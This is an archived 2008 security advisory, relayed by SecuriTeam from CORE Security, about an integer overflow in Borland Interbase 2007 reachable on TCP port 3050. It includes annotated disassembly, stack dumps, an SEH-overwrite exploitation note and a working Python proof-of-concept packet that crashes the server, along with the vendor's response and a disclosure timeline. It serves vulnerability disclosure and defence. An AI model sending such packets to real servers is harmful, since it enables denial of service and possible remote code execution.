

# [NEWS] Borland Interbase 2007 Integer Overflow

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-05/msg00023.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 21 May 2008 12:45:08 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Borland Interbase 2007 Integer Overflow

---

## SUMMARY

The Borland Interbase 2007 database server [1] is vulnerable to an integer overflow when a malformed packet is sent to the default TCP port 3050. The integer overflow can cause a stack overflow, which allows arbitrary code execution with system privileges.

## DETAILS

Vulnerable Systems:

\* Borland Interbase 2007 Service Pack 2 (8.1.0.256), Solaris and Windows versions

Vendor Information, Solutions and Workarounds:

Verbatim from vendor:

"CodeGear is aware of an InterBase security vulnerability that can expose an InterBase server (running on Microsoft Windows, Linux, Solaris and Macintosh platforms) to a possible security breach. This vulnerability is exposed via inside the firewall connections. If an open port which is connected to an InterBase server is found, and a socket connection is made to the InterBase server, invalid data can be sent to the InterBase server

## [NEWS] Borland Interbase 2007 Integer Overflow

which can cause a buffer overflow resulting in a hang or crash of the InterBase server.

How do I protect my InterBase servers from this security vulnerability?

There are 2 basic steps to protect your InterBase servers from this vulnerability:

1. The Interbase.log file will give error log information about remote machines that have invalid connection attempts. You can use this information to identify such rogue applications and take corrective action.
2. InterBase versions 7.5 and later provide a facility to redefine your instance of InterBase to use a different TCP port. Use this facility when you install the product so external rogue applications cannot connect to a "known" port.

Please consult your security advisors for the best way to protect your systems.

We are investigating additional solutions to address this vulnerability and will notify users of any further precautions which may be taken for additional protection."

Technical Description / Proof of Concept Code:

The Borland Interbase 2007 database server is vulnerable to an integer overflow when a malformed packet is sent to the default TCP port 3050. The integer overflow causes a stack overflow, which allows arbitrary code execution with system privileges.

During the research of a Firebird SQL bug reported earlier by another party [2] a triggering proof of concept was developed. According to [3], Firebird SQL started as a fork of Borland's open source release of InterBase, so the Firebird PoC was also tested on Interbase, triggering the bug described in this advisory.

1) Solaris version:

This is the vulnerable code section:

/-----

```
inet_accept_connection+0x164: srl %o5, 0x10, %o7
inet_accept_connection+0x168: ld [%l0 + 0xcc], %l1
inet_accept_connection+0x16c: sth %o7, [%l1 + 8]
inet_accept_connection+0x170: ba +0x3a0
<inet_accept_connection+0x510>
inet_accept_connection+0x174: ld [%fp - 0x8c], %g2
inet_accept_connection+0x178: ld [%fp - 0x88], %g3
inet_accept_connection+0x17c: add %fp, -0x84, %g2
```

## [NEWS] Borland Interbase 2007 Integer Overflow

```
inet_accept_connection+0x180: st %g2, [%fp - 0x90]
inet_accept_connection+0x184: ldsb [%g3], %g4
inet_accept_connection+0x188: st %g4, [%fp - 0xa0]
inet_accept_connection+0x18c: ld [%fp - 0x88], %o5
inet_accept_connection+0x190: add %o5, 1, %o7
inet_accept_connection+0x194: st %o7, [%fp - 0x88]
inet_accept_connection+0x198: ld [%fp - 0xa0], %o4
inet_accept_connection+0x19c: st %o4, [%fp - 0x304]
inet_accept_connection+0x1a0: ld [%fp - 0x304], %i0
inet_accept_connection+0x1a4: st %i0, [%fp - 0x308]
inet_accept_connection+0x1a8: ld [%fp - 0x308], %i1
inet_accept_connection+0x1ac: cmp %i1, 0
inet_accept_connection+0x1b0: be,a +0x50
<inet_accept_connection+0x200>
inet_accept_connection+0x1b4: clr %g2.
```

-----/

The integer overflow occurs when loading a signed byte from the packet here:

/-----

```
inet_accept_connection+0x184: ldsb [%g3], %g4
```

```
g4 = 0xfffff80
```

-----/

Then the value overflowing 'g4' is moved to 'i3', and used as a counter

/-----

```
inet_accept_connection+0x1b8: ld [%fp - 0x88], %g2
inet_accept_connection+0x1bc: ld [%fp - 0x90], %g4
inet_accept_connection+0x1c0: ldsb [%g2], %g3 *
inet_accept_connection+0x1c4: stb %g3, [%g4] **
inet_accept_connection+0x1c8: ld [%fp - 0xa0], %i1
inet_accept_connection+0x1cc: ld [%fp - 0x88], %o4
inet_accept_connection+0x1d0: sub %i1, 1, %i2
inet_accept_connection+0x1d4: st %i2, [%fp - 0xa0]
inet_accept_connection+0x1d8: add %o4, 1, %o5
inet_accept_connection+0x1dc: st %o5, [%fp - 0x88]
inet_accept_connection+0x1e0: ld [%fp - 0xa0], %i3
inet_accept_connection+0x1e4: cmp %i3, 0 ***
inet_accept_connection+0x1e8: ld [%fp - 0x90], %o7
inet_accept_connection+0x1ec: add %o7, 1, %i0
inet_accept_connection+0x1f0: st %i0, [%fp - 0x90]
inet_accept_connection+0x1f4: bne,a -0x38
```

## [NEWS] Borland Interbase 2007 Integer Overflow

\* g3 point to packet bytes  
\*\* copy packet bytes to the stack address pointed by g4  
\*\*\* loop until l3 = 0

-----/

2) Windows version:

In this platform the integer overflow is produced here:

/-----

```
0040F605 0FBE11 MOV SX EDX, BYTE PTR DS:[ECX]
```

-----/

And here the packet data is copied from the packet to the stack:

/-----

```
0040F62C 880A MOV BYTE PTR DS:[EDX], CL
```

-----/

In the stack we can see a 0x40 bytes size buffer followed by a pointer to the source string:

/-----

```
00ECF6CC 00000000
00ECF6D0 00000000
00ECF6D4 00000000
00ECF6D8 00000000
00ECF6DC 00000000
00ECF6E0 00000000
00ECF6E4 00000000
00ECF6E8 00000000
00ECF6EC 00000000
00ECF6F0 00000000
00ECF6F4 00000000
00ECF6F8 00000000
00ECF6FC 00000000
00ECF700 00000000
00ECF704 00000000
00ECF708 00000000
00ECF70C 00A9636D *
```

\* source string pointer

-----/

## [NEWS] Borland Interbase 2007 Integer Overflow

We can write on the Structured Exception Handler taking control of the program flow if we set a pointer to our data when the loop writes the source pointer.

Exploit:

The following Python code demonstrates the bug on the default installation. Replace the IP address '192.168.22.252' with yours. Port '3050' is the default one.

/-----

```
# save as ibserver_poc.py and run it with Python
```

```
import socket
```

```
import struct
```

```
socket = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )  
socket.connect(("192.168.22.252", 3050))
```

```
packet = '\x00\x00\x00\x01\x00\x00\x00\x13'  
packet += '\x00\x00\x00\x05\x00\x00\x00\x1d'  
packet += '\x00\x00\x00\x09'  
packet += 'B' * 9  
packet += '\x00'*6  
packet += '\x02\x00\x00'  
packet += '\x01\x60'  
packet += '\x02'  
packet += chr(0x80) # negative byte  
packet += 'A' * 1000
```

```
socket.send(packet)
```

```
socket.close()
```

-----/

Report Timeline:

2008-05-02: Initial notification sent to the vendor, offering the CORE-2008-0415 advisory draft in plain-text or encrypted.

2008-05-05: Vendor acknowledges and requests the draft in plain text

2008-05-05: Core sends the draft

2008-05-09: Vendor requests a more detailed description of the steps to reproduce the bug.

2008-05-09: Core sends a more detailed description of the steps to reproduce the bug and fixes a bug on the PoC python code

2008-05-09: Vendor confirms the bug has been reproduced

2008-05-14: Vendor sends information for the advisory, including steps to protect from the vulnerability and considering the issue closed

2008-05-15: Core asks the vendor if the response is final and communicates that the steps described by the vendor are only ineffective mitigations that can be bypassed by a skilled attacker (i.e. finding any new port and erasing the Interbase logs). If the response is final, advisory will be

[NEWS] Borland Interbase 2007 Integer Overflow

published on May 26th as scheduled

2008-05-15: Vendor confirms that the response is final and that any further information will be notified to the customers

2008-05-15: Core decides and communicates the vendor that the advisory will be published on May 20th, no further postponement is required by the coordinating parties

2008-05-20: Advisory CORE-2008-0415 is published

References:

[1] Borland Interbase 2007 <<http://www.codegear.com/products/interbase>>  
<http://www.codegear.com/products/interbase>

[2] Firebird Username Remote Buffer Overflow Vulnerability  
<<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0467>>  
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0467>

[3] <[http://en.wikipedia.org/wiki/Firebird\\_%28database\\_server%29](http://en.wikipedia.org/wiki/Firebird_%28database_server%29)>  
[http://en.wikipedia.org/wiki/Firebird\\_%28database\\_server%29](http://en.wikipedia.org/wiki/Firebird_%28database_server%29)

ADDITIONAL INFORMATION

The information has been provided by <<mailto:advisories@xxxxxxxxxxxxxxxx>>  
CORE Security Technologies.

The original article can be found at: <Borland Interbase 2007 Integer Overflow> Borland Interbase 2007 Integer Overflow

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@xxxxxxxxxxxxxxxx](mailto:list-unsubscribe@xxxxxxxxxxxxxxxx)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@xxxxxxxxxxxxxxxx](mailto:list-subscribe@xxxxxxxxxxxxxxxx)

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.